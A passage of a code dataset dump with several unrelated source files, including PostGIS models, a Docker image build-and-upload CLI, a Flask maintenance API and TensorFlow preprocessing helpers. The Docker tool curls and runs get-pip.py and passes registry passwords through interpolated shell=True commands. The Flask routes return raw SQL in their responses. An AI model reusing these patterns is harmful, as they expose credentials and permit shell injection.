area_sqkm(self):\n area_mm = session.scalar((self.geom.ST_Transform(3035).ST_Area()))\n return round((area_mm / 1000000), 3)\n \n @area_sqkm.expression\n def area_sqkm(cls):\n area_mm = cls.geom.ST_Transform(3035).ST_Area()\n return (area_mm / 1000000)\n\n @hybrid_property\n def geojson(self):\n return Feature(\n id=self.id,\n geometry=to_shape(self.geom),\n properties={\n \"id\": self.id,\n \"cloud_cover\": self.cloud_cover,\n \"pixel_res\": self.satellites.pixel_res,\n \"time_acquired\": self.time_acquired.strftime(\"%Y-%m-%d\"),\n \"sat_id\": self.sat_id,\n \"sat_name\": self.satellites.name,\n \"item_type_id\": self.item_type_id,\n \"srid\": self.srid,\n \"area_sqkm\": self.area_sqkm,\n \"land_cover_class\": self.land_cover_class,\n \"asset_types\": self.item_types.assets,\n })\n\n\nitems_assets = Table(\n 'items_assets',\n Base.metadata,\n Column('item_id', ForeignKey('item_types.id'), primary_key=True),\n Column('asset_id', ForeignKey('asset_types.id'), primary_key=True)\n)\n\n\nclass ItemType(Base):\n __tablename__ = 'item_types'\n id = Column(String(50), primary_key=True, index=True)\n\n sat_id = Column(String(50), ForeignKey('satellites.id'), nullable=False)\n\n sat_image = relationship('SatImage',\n backref='item_types',)\n\n assets = relationship('AssetType',\n secondary=items_assets,\n backref='item_types',\n lazy='dynamic')\n\n\nclass AssetType(Base):\n __tablename__ = 'asset_types'\n id = Column(String(50), primary_key=True, index=True)\n\n\nclass Country(Base):\n __tablename__ = 'countries'\n iso = Column(String(3), primary_key=True, index=True)\n name = Column(String(50), nullable=False)\n geom = Column(Geometry(srid=4326, spatial_index=True),\n nullable=False)\n\n cities = relationship('City',\n backref='country',\n lazy='dynamic')\n\n sat_images = relationship(\n 'SatImage',\n primaryjoin='func.ST_Intersects(foreign(Country.geom), remote(SatImage.geom)).as_comparison(1,2)',\n backref='countries',\n viewonly=True,\n uselist=True)\n\n\nclass City(Base):\n __tablename__ = 'cities'\n id = Column(Integer, primary_key=True, index=True)\n name = Column(String(50), nullable=False)\n country_iso = Column(String(3), ForeignKey('countries.iso'))\n geom = Column(Geometry(geometry_type='Point', srid=4326, spatial_index=True),\n nullable=False,\n unique=True)\n\n sat_images = relationship(\n 'SatImage',\n primaryjoin='func.ST_Intersects(foreign(City.buffer), remote(SatImage.geom)).as_comparison(1,2)',\n backref='cities',\n viewonly=True,\n uselist=True)\n\n @hybrid_property\n def buffer(self):\n return self.geom.ST_Transform(3035).ST_Buffer(30000).ST_Transform(4326)\n\n\nclass LandCoverClass(Base):\n __tablename__ = 'land_cover_classes'\n id = Column(Integer, primary_key=True)\n featureclass = Column(String(50))\n geom = Column(Geometry(srid=4326, spatial_index=True),\n nullable=False)\n\n\n\nif __name__ == '__main__':\n engine = get_db_engine()\n if not database_exists(engine.url):\n create_postgis_db(engine)\n create_tables(engine, Base)\n\n","repo_name":"marcleerink/planet-data-analyzer","sub_path":"database/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":7901,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"35564994567","text":"import argparse\nimport json\nimport logging\nimport os\nimport subprocess\nfrom typing import Optional\n\nimport boto3\nfrom rich_argparse import RichHelpFormatter\n\n\nclass DockerCtl:\n r\"\"\"\n This class manages the creation and uploading of Docker containers.\n\n Attributes:\n base_image (str): The base image to use for the Docker container.\n workdir (str): The working directory in the Docker container.\n local_dir (str): The local directory to copy into the Docker container.\n packages (List[str]): List of packages to install in the Docker container.\n os_packages (List[str]): List of OS packages to install in the Docker container.\n env_vars (Dict[str, str]): Environment variables to set in the Docker container.\n\n Command-Line Interface:\n genius docker package [options]\n\n Parameters:\n - : The name of the Docker image to build and upload.\n - : The container repository to upload to (e.g., \"ECR\", \"DockerHub\", \"Quay\", \"ACR\", \"GCR\").\n\n Options:\n - --auth: Authentication credentials as a JSON string. Default is an empty JSON object.\n - --base_image: The base image to use for the Docker container. Default is \"nvidia/cuda:12.2.0-runtime-ubuntu20.04\".\n - --workdir: The working directory in the Docker container. Default is \"/app\".\n - --local_dir: The local directory to copy into the Docker container. Default is \".\".\n - --packages: List of Python packages to install in the Docker container. Default is an empty list.\n - --os_packages: List of OS packages to install in the Docker container. Default is an empty list.\n - --env_vars: Environment variables to set in the Docker container. Default is an empty dictionary.\n\n Authentication Details:\n - ECR: `{\"aws_region\": \"ap-south-1\", \"aws_secret_access_key\": \"aws_key\", \"aws_access_key_id\": \"aws_secret\"}`\n - DockerHub: `{\"dockerhub_username\": \"username\", \"dockerhub_password\": \"password\"}`\n - ACR: `{\"acr_username\": \"username\", \"acr_password\": \"password\", \"acr_login_server\": \"login_server\"}`\n - GCR: `{\"gcr_key_file_path\": \"/path/to/keyfile.json\", \"gcr_repository\": \"repository\"}`\n - Quay: `{\"quay_username\": \"username\", \"quay_password\": \"password\"}`\n\n ## Examples\n\n #### Uploading to ECR (Amazon Elastic Container Registry)\n\n ```bash\n genius docker package geniusrise ecr --auth '{\"aws_region\": \"ap-south-1\"}'\n ```\n\n #### Uploading to DockerHub\n\n ```bash\n genius docker package geniusrise dockerhub --auth '{\"dockerhub_username\": \"username\", \"dockerhub_password\": \"password\"}'\n ```\n\n This is how we upload to dockerhub:\n\n ```bash\n export DOCKERHUB_USERNAME=\n export DOCKERHUB_PASSWORD=\n\n genius docker package geniusrise dockerhub \\\n --packages geniusrise-listeners geniusrise-databases geniusrise-huggingface geniusrise-openai \\\n --os_packages libmysqlclient-dev libldap2-dev libsasl2-dev libssl-dev\n ```\n\n ```bash\n genius docker package geniusrise-core dockerhub\n ```\n\n #### Uploading to ACR (Azure Container Registry)\n\n ```bash\n genius docker package geniusrise acr --auth '{\"acr_username\": \"username\", \"acr_password\": \"password\", \"acr_login_server\": \"login_server\"}'\n ```\n\n #### Uploading to GCR (Google Container Registry)\n\n ```bash\n genius docker package geniusrise gcr --auth '{\"gcr_key_file_path\": \"/path/to/keyfile.json\", \"gcr_repository\": \"repository\"}'\n ```\n\n \"\"\"\n\n def __init__(self):\n \"\"\"\n Initialize the DockerContainerManager with logging.\n \"\"\"\n self.log = logging.getLogger(self.__class__.__name__)\n\n def create_parser(self, parser: argparse.ArgumentParser) -> argparse.ArgumentParser:\n \"\"\"\n Add arguments to the command-line parser for managing Docker containers.\n\n Args:\n parser (argparse.ArgumentParser): Command-line parser.\n\n Returns:\n argparse.ArgumentParser: The updated parser.\n \"\"\"\n subparsers = parser.add_subparsers(dest=\"docker\")\n\n # fmt: off\n build_upload_parser = subparsers.add_parser(\"package\", help=\"Build and upload a Docker image.\", formatter_class=RichHelpFormatter)\n build_upload_parser.add_argument(\"image_name\", help=\"Name of the Docker image.\", type=str)\n build_upload_parser.add_argument(\"repository\", help=\"Container repository to upload to.\", type=str)\n build_upload_parser.add_argument(\"--auth\", help=\"Authentication credentials as a JSON string.\", type=str, default=\"{}\")\n build_upload_parser.add_argument(\"--base_image\", help=\"The base image to use for the Docker container.\", type=str, default=\"nvidia/cuda:12.2.0-runtime-ubuntu20.04\")\n build_upload_parser.add_argument(\"--workdir\", help=\"The working directory in the Docker container.\", type=str, default=\"/app\")\n build_upload_parser.add_argument(\"--local_dir\", help=\"The local directory to copy into the Docker container.\", type=str, default=\".\")\n build_upload_parser.add_argument(\"--packages\", help=\"List of Python packages to install in the Docker container.\", nargs=\"*\", default=[])\n build_upload_parser.add_argument(\"--os_packages\", help=\"List of OS packages to install in the Docker container.\", nargs=\"*\", default=[])\n build_upload_parser.add_argument(\"--env_vars\", help=\"Environment variables to set in the Docker container.\", type=json.loads, default={})\n # fmt: on\n\n return parser\n\n def run(self, args: argparse.Namespace) -> None:\n \"\"\"\n Run the command-line interface.\n\n Args:\n args (argparse.Namespace): Parsed command-line arguments.\n \"\"\"\n self.base_image = args.base_image\n self.workdir = args.workdir\n self.local_dir = args.local_dir\n self.packages = args.packages\n self.os_packages = args.os_packages\n self.env_vars = args.env_vars\n\n if args.docker == \"package\":\n self.log.info(f\"Building and uploading Docker image: {args.image_name} to {args.repository}\")\n\n # Create Dockerfile\n dockerfile_path = self.create_dockerfile()\n\n # Build Docker image\n build_success = self.build_image(args.image_name, dockerfile_path)\n if not build_success:\n self.log.exception(\"Failed to build Docker image.\")\n return\n\n # Upload to repository\n auth_dict = {}\n if args.auth:\n auth_dict = json.loads(args.auth)\n\n upload_success = self.upload_to_repository(args.image_name, args.repository, auth=auth_dict)\n if not upload_success:\n self.log.exception(\"Failed to upload Docker image.\")\n return\n\n self.log.info(\"Successfully built and uploaded Docker image.\")\n else:\n self.log.exception(f\"Unrecognized command: {args.docker}\")\n\n def create_dockerfile(self) -> str:\n \"\"\"\n Create a Dockerfile based on the class attributes.\n\n Returns:\n str: The path to the created Dockerfile.\n \"\"\"\n dockerfile_content = [\n f\"FROM {self.base_image} AS base\",\n \"\",\n f\"WORKDIR {self.workdir}\",\n \"\",\n # Set debconf to non-interactive mode\n \"ENV DEBIAN_FRONTEND=noninteractive\",\n # Create a non-root user and switch to it\n \"RUN useradd --create-home genius\",\n \"\",\n # Install Python 3.10\n \"RUN apt-get update \\\\\",\n \" && apt-get install -y software-properties-common build-essential curl wget vim libpq-dev pkg-config \\\\\",\n \" && add-apt-repository ppa:deadsnakes/ppa \\\\\",\n \" && apt-get update \\\\\",\n \" && apt-get install -y python3.10 python3.10-dev python3.10-distutils \\\\\",\n \" && apt-get clean\",\n # Install pip for Python 3.10\n \"RUN curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py \\\\\",\n \" && python3.10 get-pip.py\",\n \"\",\n ]\n\n # Add OS package installation commands only if os_packages is not empty\n if self.os_packages:\n dockerfile_content.append(\n \"RUN apt-get update && apt-get install -y \\\\\" + \" \".join(self.os_packages) + \" && apt-get clean\"\n )\n\n # Add Python package installation commands\n dockerfile_content.append(\"\")\n for package in self.packages:\n dockerfile_content.append(f\"RUN pip install {package}\")\n dockerfile_content.append(\"RUN pip install --upgrade geniusrise\")\n\n # Add environment variables\n for key, value in self.env_vars.items():\n dockerfile_content.append(f\"ENV {key}={value}\")\n dockerfile_content.append(\"ENV GENIUS=/home/genius/.local/bin/genius\")\n\n # Add command to copy local directory to workdir\n dockerfile_content.append(\"\")\n dockerfile_content.append(f\"COPY --chown=genius:genius {self.local_dir} {self.workdir}/\")\n\n # Install requirements\n dockerfile_content.append(\"\")\n dockerfile_content.append(\"RUN pip3.10 install -r requirements.txt\")\n\n # Dummy entrypoint\n dockerfile_content.append(\"USER genius\")\n dockerfile_content.append(\"\")\n dockerfile_content.append('CMD [\"genius\", \"--help\"]')\n\n dockerfile_path = \"./Dockerfile\"\n with open(dockerfile_path, \"w\") as f:\n f.write(\"\\n\".join(dockerfile_content))\n\n self.log.info(f\"Dockerfile created at {dockerfile_path}\")\n return dockerfile_path\n\n def build_image(self, image_name: str, dockerfile_path: str):\n \"\"\"\n Build a Docker image based on the provided Dockerfile.\n\n Args:\n image_name (str): The name to give to the built Docker image.\n dockerfile_path (str): The path to the Dockerfile to use for building the image.\n\n Returns:\n bool: True if the build was successful, False otherwise.\n \"\"\"\n try:\n subprocess.run(\n [\"docker\", \"build\", \"-t\", image_name, \"-f\", dockerfile_path, \".\"],\n check=True,\n )\n self.log.info(f\"Successfully built Docker image: {image_name}\")\n return True\n except subprocess.CalledProcessError as e:\n self.log.exception(f\"Failed to build Docker image: {e}\")\n return False\n\n def upload_to_repository(self, image_name: str, repository: str, auth: dict = {}) -> bool:\n \"\"\"\n Upload the Docker image to a specified container repository.\n\n Args:\n image_name (str): The name of the Docker image to upload.\n repository (str): The container repository to upload to (e.g., \"ECR\", \"DockerHub\", \"Quay\").\n auth (dict, optional): Authentication credentials for the container repository. Defaults to None.\n\n Returns:\n bool: True if the upload was successful, False otherwise.\n \"\"\"\n if repository.lower() == \"ecr\":\n return self.upload_to_ecr(image_name=image_name, auth=auth)\n\n elif repository.lower() == \"dockerhub\":\n return self.upload_to_dockerhub(image_name=image_name, auth=auth)\n\n elif repository.lower() == \"quay\":\n return self.upload_to_quay(image_name=image_name, auth=auth)\n\n elif repository.lower() == \"gcr\":\n return self.upload_to_gcr(image_name=image_name, auth=auth)\n\n elif repository.lower() == \"acr\":\n return self.upload_to_acr(image_name=image_name, auth=auth)\n\n else:\n self.log.exception(f\"Unsupported repository: {repository}\")\n return False\n\n def upload_to_ecr(self, image_name: str, auth: dict, ecr_repo: Optional[str] = None) -> bool:\n \"\"\"\n Upload the Docker image to Amazon Elastic Container Registry (ECR).\n\n Args:\n image_name (str): The name of the Docker image to upload.\n auth (dict): Authentication credentials for ECR.\n ecr_repo (Optional[str]): The ECR repository to upload to. If not provided, it will be generated.\n\n Returns:\n bool: True if the upload was successful, False otherwise.\n \"\"\"\n aws_secret_access_key = auth.get(\"aws_secret_access_key\", os.environ.get(\"AWS_SECRET_ACCESS_KEY\"))\n aws_access_key_id = auth.get(\"aws_access_key_id\", os.environ.get(\"AWS_ACCESS_KEY_ID\"))\n aws_region = auth.get(\"aws_region\", os.environ.get(\"AWS_DEFAULT_REGION\"))\n\n sts_client = boto3.client(\n \"sts\",\n region_name=aws_region,\n aws_secret_access_key=aws_secret_access_key,\n aws_access_key_id=aws_access_key_id,\n )\n account_id = sts_client.get_caller_identity().get(\"Account\")\n ecr_repo = f\"{account_id}.dkr.ecr.{aws_region}.amazonaws.com\"\n\n combined_command = f\"\"\"aws ecr get-login-password --region {aws_region} | docker login --username AWS --password-stdin {ecr_repo} &&\n docker tag {image_name} {ecr_repo}/{image_name} &&\n docker push {ecr_repo}/{image_name}\"\"\"\n\n try:\n subprocess.run(combined_command, shell=True, check=True)\n self.log.info(f\"Successfully uploaded {image_name} to ECR repository {ecr_repo}\")\n return True\n except subprocess.CalledProcessError as e:\n self.log.exception(f\"Failed to upload to ECR: {e}\")\n return False\n\n def upload_to_acr(self, image_name: str, auth: dict) -> bool:\n \"\"\"\n Upload the Docker image to Azure Container Registry (ACR).\n\n Args:\n image_name (str): The name of the Docker image to upload.\n auth (dict): Authentication credentials for ACR.\n\n Returns:\n bool: True if the upload was successful, False otherwise.\n \"\"\"\n acr_username = auth.get(\"acr_username\", os.environ.get(\"ACR_USERNAME\"))\n acr_password = auth.get(\"acr_password\", os.environ.get(\"ACR_PASSWORD\"))\n acr_login_server = auth.get(\"acr_login_server\", os.environ.get(\"ACR_LOGIN_SERVER\"))\n\n combined_command = f\"\"\"echo {acr_password} | docker login {acr_login_server} --username {acr_username} --password-stdin &&\n docker tag {image_name} {acr_login_server}/{image_name} &&\n docker push {acr_login_server}/{image_name}\"\"\"\n\n try:\n subprocess.run(combined_command, shell=True, check=True)\n self.log.info(f\"Successfully uploaded {image_name} to ACR\")\n return True\n except subprocess.CalledProcessError as e:\n self.log.exception(f\"Failed to upload to ACR: {e}\")\n return False\n\n def upload_to_gcr(self, image_name: str, auth: dict) -> bool:\n \"\"\"\n Upload the Docker image to Google Container Registry (GCR).\n\n Args:\n image_name (str): The name of the Docker image to upload.\n auth (dict): Authentication credentials for GCR.\n\n Returns:\n bool: True if the upload was successful, False otherwise.\n \"\"\"\n gcr_key_file_path = auth.get(\"gcr_key_file_path\", os.environ.get(\"GCR_KEY_FILE_PATH\"))\n gcr_repository = auth.get(\"gcr_repository\", os.environ.get(\"GCR_REPOSITORY\"))\n\n combined_command = f\"\"\"cat {gcr_key_file_path} | docker login -u _json_key --password-stdin https://{gcr_repository} &&\n docker tag {image_name} {gcr_repository}/{image_name} &&\n docker push {gcr_repository}/{image_name}\"\"\"\n\n try:\n subprocess.run(combined_command, shell=True, check=True)\n self.log.info(f\"Successfully uploaded {image_name} to GCR\")\n return True\n except subprocess.CalledProcessError as e:\n self.log.exception(f\"Failed to upload to GCR: {e}\")\n return False\n\n def upload_to_dockerhub(self, image_name: str, auth: dict) -> bool:\n \"\"\"\n Upload the Docker image to DockerHub.\n\n Args:\n image_name (str): The name of the Docker image to upload.\n auth (dict): Authentication credentials for DockerHub.\n\n Returns:\n bool: True if the upload was successful, False otherwise.\n \"\"\"\n dockerhub_username = auth.get(\"dockerhub_username\") if auth else os.environ.get(\"DOCKERHUB_USERNAME\")\n dockerhub_password = auth.get(\"dockerhub_password\") if auth else os.environ.get(\"DOCKERHUB_PASSWORD\")\n\n try:\n tag_command = f\"docker tag {image_name} {dockerhub_username}/{image_name}\"\n subprocess.run(tag_command, shell=True, check=True)\n\n # Authenticate Docker with DockerHub and Push the image in a single shell session\n combined_command = f\"\"\"echo {dockerhub_password} | docker login --username {dockerhub_username} --password-stdin &&\n docker push {dockerhub_username}/{image_name}\"\"\"\n subprocess.run(combined_command, shell=True, check=True)\n\n self.log.info(f\"Successfully uploaded {image_name} to DockerHub\")\n return True\n except subprocess.CalledProcessError as e:\n self.log.exception(f\"Failed to upload to DockerHub: {e}\")\n return False\n\n def upload_to_quay(self, image_name: str, auth: dict) -> bool:\n \"\"\"\n Upload the Docker image to Quay.io.\n\n Args:\n image_name (str): The name of the Docker image to upload.\n auth (dict): Authentication credentials for Quay.io.\n\n Returns:\n bool: True if the upload was successful, False otherwise.\n \"\"\"\n quay_username = auth.get(\"quay_username\") if auth else os.environ.get(\"QUAY_USERNAME\")\n quay_password = auth.get(\"quay_password\") if auth else os.environ.get(\"QUAY_PASSWORD\")\n try:\n # Authenticate Docker with Quay.io\n login_command = f\"docker login quay.io --username {quay_username} --password {quay_password}\"\n subprocess.run(login_command, shell=True, check=True)\n\n # Tag the image\n tag_command = f\"docker tag {image_name} quay.io/{quay_username}/{image_name}\"\n subprocess.run(tag_command, shell=True, check=True)\n\n # Push the image\n push_command = f\"docker push quay.io/{quay_username}/{image_name}\"\n subprocess.run(push_command, shell=True, check=True)\n\n self.log.info(f\"Successfully uploaded {image_name} to Quay.io\")\n return True\n except subprocess.CalledProcessError as e:\n self.log.exception(f\"Failed to upload to Quay.io: {e}\")\n return False\n","repo_name":"geniusrise/geniusrise","sub_path":"geniusrise/cli/dockerctl.py","file_name":"dockerctl.py","file_ext":"py","file_size_in_byte":18802,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"62"} +{"seq_id":"25841018565","text":"\r\n\r\ndef time(key):\r\n import datetime\r\n key = datetime.datetime.now()\r\n key = str(key)\r\n print(key)\r\n return time\r\n\r\ndef pramoug(g):\r\n print(\"Площадь прямоугольника \")\r\n from math import tan, pi\r\n s = int(input())\r\n n = int(input())\r\n g = (n * s ** 2) / (4 + tan(pi / n))\r\n g = int(g)\r\n print(g)\r\n return g\r\ndef summ(func):\r\n print(\"Сумма n чисел \")\r\n n = int(input())\r\n s = (n * (n + 1)) / 2\r\n s = str(s)\r\n print(s)\r\n return s\r\n\r\nwhile True:\r\n print(\"Привет выбери одну из двух программ\")\r\n z = str(input())\r\n if z == \"1\":\r\n print(\"Выбранна программа\")\r\n @time\r\n @pramoug\r\n def a():\r\n return\r\n elif z == \"2\":\r\n print(\"Выбранна программа\")\r\n @time\r\n @summ\r\n def a():\r\n return\r\n elif z == \"0\":\r\n break\r\n else:\r\n print(\"вы ввели не правильное значение\")\r\n","repo_name":"DJINADA11/Ucheba","sub_path":"Ignatev.py","file_name":"Ignatev.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"4731765432","text":"from flask import Blueprint, jsonify, request\nfrom services.ManutencaoService import ManutencaoService # Ajuste conforme sua estrutura de imports\nfrom services.utils import validar_status\n\nblueprint_manutencao = Blueprint('manutencao', __name__)\n\n\n@blueprint_manutencao.route('/manutencao/solicitacao', methods=['GET'])\ndef get_solicitacao():\n \"\"\"\n Lista as solicitações abertas para o Equipamento e Filial informada.\n ---\n tags:\n - Solicitacoes\n parameters:\n - name: filial\n in: query\n type: string\n required: true\n description: Filial em que a S.S. está aberta.\n default: '020101'\n - name: equipamento\n in: query\n type: string\n required: true\n description: Identificação do bem qual deseja ver as solicitacoes.\n default: 'DOC'\n responses:\n 200:\n description: Lista de solicitações\n schema:\n id: Solicitacoes\n properties:\n solicitacao_id:\n type: integer\n description: ID da solicitação\n solicitacao_filial:\n type: string\n description: Filial da solicitação\n solicitacao_equipamento:\n type: string\n description: Equipamento da solicitação\n solicitacao_prioridade:\n type: string\n description: Prioridade da solicitação\n solicitacao_status:\n type: string\n description: Status da solicitação\n 400:\n description: Requisição inválida (parâmetros faltando)\n schema:\n id: Error\n properties:\n error:\n type: string\n description: Mensagem de erro\n \"\"\"\n\n filial = request.args.get('filial')\n equipamento = request.args.get('equipamento')\n\n print(\"Request Recebido para Ver se tem S.S. aberta para. Args: \", filial, equipamento)\n\n if not filial or not equipamento:\n return jsonify({'error': 'Os campos \"filial\" e \"equipamento\" são obrigatórios.'}), 400\n\n try:\n sql, solicitacoes, possui_ss_aberta, mensagem_erro = ManutencaoService.buscar_solicitacoes_abertas(\n filial=filial,\n equipamento=equipamento)\n\n if mensagem_erro:\n response_data = {'possui_ss_aberta': False, 'mensagem': mensagem_erro}\n else:\n response_data = {'possui_ss_aberta': possui_ss_aberta, 'sql': sql}\n if possui_ss_aberta:\n response_data['solicitacoes'] = solicitacoes\n else:\n response_data['mensagem'] = 'O equipamento não possui nenhuma S.S. aberta'\n\n print(\"Lista de Solicitacoes: \", response_data)\n\n return jsonify(response_data)\n\n except Exception as e:\n print(f\"Erro ao processar a solicitação: {e}\")\n return jsonify({'error': 'Erro interno do servidor'}), 500\n\n\n# Rota pra trazer todas as solicitações de uma filial\n# Lista todas as solicitações de uma filial com base no status fornecido.\n@blueprint_manutencao.route('/manutencao/solicitacao/filial', methods=['GET'])\ndef get_solicitacoes_filial():\n \"\"\"\n Lista todas as solicitações de uma filial com base no status fornecido.\n ---\n tags:\n - Solicitacoes\n parameters:\n - name: filial\n in: query\n type: string\n required: true\n description: Filial em que a S.S. está aberta.\n default: '020101'\n - name: status\n in: query\n type: string\n required: true\n description: Status da solicitação.\n default: 'A'\n responses:\n 200:\n description: Lista de solicitações\n schema:\n id: Solicitacoes\n properties:\n solicitacao_id:\n type: integer\n description: ID da solicitação\n solicitacao_filial:\n type: string\n description: Filial da solicitação\n solicitacao_equipamento:\n type: string\n description: Equipamento da solicitação\n solicitacao_prioridade:\n type: string\n description: Prioridade da solicitação\n solicitacao_status:\n type: string\n description: Status da solicitação\n 400:\n description: Requisição inválida (parâmetros faltando)\n schema:\n id: Error\n properties:\n error:\n type: string\n description: Mensagem de erro\n \"\"\"\n\n filial = request.args.get('filial')\n status = request.args.get('status')\n\n if not validar_status(status):\n return jsonify({'erro': 'Formato de status inválido'}), 400\n\n print(\"Request Recebido para Ver se tem S.S. aberta para. Args: \", filial, status)\n\n if not filial or not status:\n return jsonify({'error': 'Os campos \"filial\" e \"status\" são obrigatórios.'}), 400\n\n try:\n # Precisa vir a quantia certa de argumentos, senão ele gera o erro \"Not Enough Values to Unpack\"\n sql, solicitacoes, mensagem_erro = ManutencaoService.buscar_solicitacoes_filial(\n filial=filial,\n status=status)\n\n if mensagem_erro:\n response_data = {'mensagem': mensagem_erro}\n else:\n response_data = {'sql': sql, 'solicitacoes': solicitacoes}\n\n print(\"Lista de Solicitacoes: \", response_data)\n\n return jsonify(response_data)\n\n except Exception as e:\n print(f\"Erro ao processar as solicitações da Filial: {e}\")\n return jsonify({'error': 'Erro interno do servidor'}), 500\n","repo_name":"HorselessName/api-protheus","sub_path":"routes/ManutencaoRoute.py","file_name":"ManutencaoRoute.py","file_ext":"py","file_size_in_byte":5657,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"25687688642","text":"from datetime import datetime\nimport os\n\nfrom urllib.request import urlopen\nfrom PIL import Image\nimport tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfilename = 'model.pb'\nlabels_filename = 'labels.txt'\n\n\noutput_layer = 'loss:0'\ninput_node = 'Placeholder:0'\n\ngraph_def = tf.GraphDef()\nlabels = []\nnetwork_input_size = 0\n\ndef _initialize():\n global labels, network_input_size\n # initialize the model once and save it to a global variable\n if not labels:\n with tf.gfile.GFile(filename, 'rb') as f:\n graph_def.ParseFromString(f.read())\n tf.import_graph_def(graph_def, name='')\n with open(labels_filename, 'rt') as lf:\n labels = [l.strip() for l in lf.readlines()]\n with tf.Session() as sess:\n input_tensor_shape = sess.graph.get_tensor_by_name('Placeholder:0').shape.as_list()\n network_input_size = input_tensor_shape[1]\n\n\ndef _extract_bilinear_pixel(img, x, y, ratio, xOrigin, yOrigin):\n xDelta = (x + 0.5) * ratio - 0.5\n x0 = int(xDelta)\n xDelta -= x0\n x0 += xOrigin\n if x0 < 0:\n x0 = 0;\n x1 = 0;\n xDelta = 0.0;\n elif x0 >= img.shape[1]-1:\n x0 = img.shape[1]-1;\n x1 = img.shape[1]-1;\n xDelta = 0.0;\n else:\n x1 = x0 + 1;\n \n yDelta = (y + 0.5) * ratio - 0.5\n y0 = int(yDelta)\n yDelta -= y0\n y0 += yOrigin\n if y0 < 0:\n y0 = 0;\n y1 = 0;\n yDelta = 0.0;\n elif y0 >= img.shape[0]-1:\n y0 = img.shape[0]-1;\n y1 = img.shape[0]-1;\n yDelta = 0.0;\n else:\n y1 = y0 + 1;\n\n #Get pixels in four corners\n bl = img[y0, x0]\n br = img[y0, x1]\n tl = img[y1, x0]\n tr = img[y1, x1]\n #Calculate interpolation\n b = xDelta * br + (1. - xDelta) * bl\n t = xDelta * tr + (1. - xDelta) * tl\n pixel = yDelta * t + (1. - yDelta) * b\n return pixel.astype(np.uint8)\n\ndef _extract_and_resize(img, targetSize):\n determinant = img.shape[1] * targetSize[0] - img.shape[0] * targetSize[1]\n if determinant < 0:\n ratio = float(img.shape[1]) / float(targetSize[1])\n xOrigin = 0\n yOrigin = int(0.5 * (img.shape[0] - ratio * targetSize[0]))\n elif determinant > 0:\n ratio = float(img.shape[0]) / float(targetSize[0])\n xOrigin = int(0.5 * (img.shape[1] - ratio * targetSize[1]))\n yOrigin = 0\n else:\n ratio = float(img.shape[0]) / float(targetSize[0])\n xOrigin = 0\n yOrigin = 0\n resize_image = np.empty((targetSize[0], targetSize[1], img.shape[2]), dtype=np.uint8)\n for y in range(targetSize[0]):\n for x in range(targetSize[1]):\n resize_image[y, x] = _extract_bilinear_pixel(img, x, y, ratio, xOrigin, yOrigin)\n return resize_image\n\ndef _extract_and_resize_to_256_square(image):\n h, w = image.shape[:2]\n return _extract_and_resize(image, (256, 256))\n\ndef _crop_center(img,cropx,cropy):\n h, w = img.shape[:2]\n startx = max(0, w//2-(cropx//2) - 1)\n starty = max(0, h//2-(cropy//2) - 1)\n return img[starty:starty+cropy, startx:startx+cropx]\n\ndef _resize_down_to_1600_max_dim(image):\n w,h = image.size\n if h < 1600 and w < 1600:\n return image\n\n new_size = (1600 * w // h, 1600) if (h > w) else (1600, 1600 * h // w)\n if max(new_size) / max(image.size) >= 0.5:\n method = Image.BILINEAR\n else:\n method = Image.BICUBIC\n return image.resize(new_size, method)\n\ndef _convert_to_nparray(image):\n # RGB -> BGR\n image = np.array(image)\n return image[:, :, (2,1,0)]\n\ndef _update_orientation(image):\n exif_orientation_tag = 0x0112\n if hasattr(image, '_getexif'):\n exif = image._getexif()\n if exif != None and exif_orientation_tag in exif:\n orientation = exif.get(exif_orientation_tag, 1)\n # orientation is 1 based, shift to zero based and flip/transpose based on 0-based values\n orientation -= 1\n if orientation >= 4:\n image = image.transpose(Image.TRANSPOSE)\n if orientation == 2 or orientation == 3 or orientation == 6 or orientation == 7:\n image = image.transpose(Image.FLIP_TOP_BOTTOM)\n if orientation == 1 or orientation == 2 or orientation == 5 or orientation == 6:\n image = image.transpose(Image.FLIP_LEFT_RIGHT)\n return image","repo_name":"anthonychu/hackthenorth-ml-workshop","sub_path":"predict_helpers.py","file_name":"predict_helpers.py","file_ext":"py","file_size_in_byte":4353,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"37343579622","text":"#!/usr/bin/env python\r\n# coding: utf8\r\n#from gluon import *\r\nfrom gluon import URL\r\nfrom gluon.tools import fetch\r\nfrom gluon.contrib import simplejson as json\r\n\r\n### This is module for a billing crypto-currency by cryptoPay.in service\r\n### Это модуль для работы с криптовалютами через сервис cryptoPay.in\r\n\r\n######################################################\r\n### author Ermolaev Dmitry icreator@mail.ru (icreator)\r\n######################################################\r\n#\r\n# constants - константы\r\n#\r\n# Your shop_id in cryptoPay.in service or crypto-address\r\n# ваш номер магазина на сервисе или адрес крипто кошелька\r\nCP_SHOP_ID = '12'\r\n\r\nCP_URL_CHECK = 'http://cryptoPay.in/shop/api_bill/check.json/'\r\nCP_URL_SHOW = 'http://cryptoPay.in/shop/bill/show/'\r\nCP_URL_API = 'shop', 'api'\r\nCP_URL_MAKE = 'shop', 'api_bill', 'make.json'\r\nCP_URL_PARS = dict(host='cryptoPay.in', scheme='http')\r\n\r\n# set a common parameters for all bills\r\n# задаем общие параметры, передающиеся для всех создаваемых счетов\r\nCP_URL_VARS = {\r\n # start notify my shop only from \"HARD\" status of the bill\r\n # посылать уведомления только при появлении статуса HARD и выше\r\n 'note_on': 'HARD',\r\n # not convert incomed crypto-currencies to fiat money\r\n # не конвертировать поступившую крриптовалюту\r\n 'not_convert': 1,\r\n # currency for calculate cost - RUB EUR USD\r\n # валютта счета в которой задана цена счета\r\n 'curr': 'RUB',\r\n # 'vol': 1000, # default volume if price = 0\r\n # 'public':1, # if you want make public bills\r\n # 'email': settings.email_adm,\r\n }\r\n######################################################\r\n\r\n''' define of table with orders\r\nописание таблицы заказов в базе данных для хранения информации\r\n\r\ndb.define_table('orders_tab',\r\n Field('cod', length=10, unique=True, comment=T('Произвольный номер заказа') 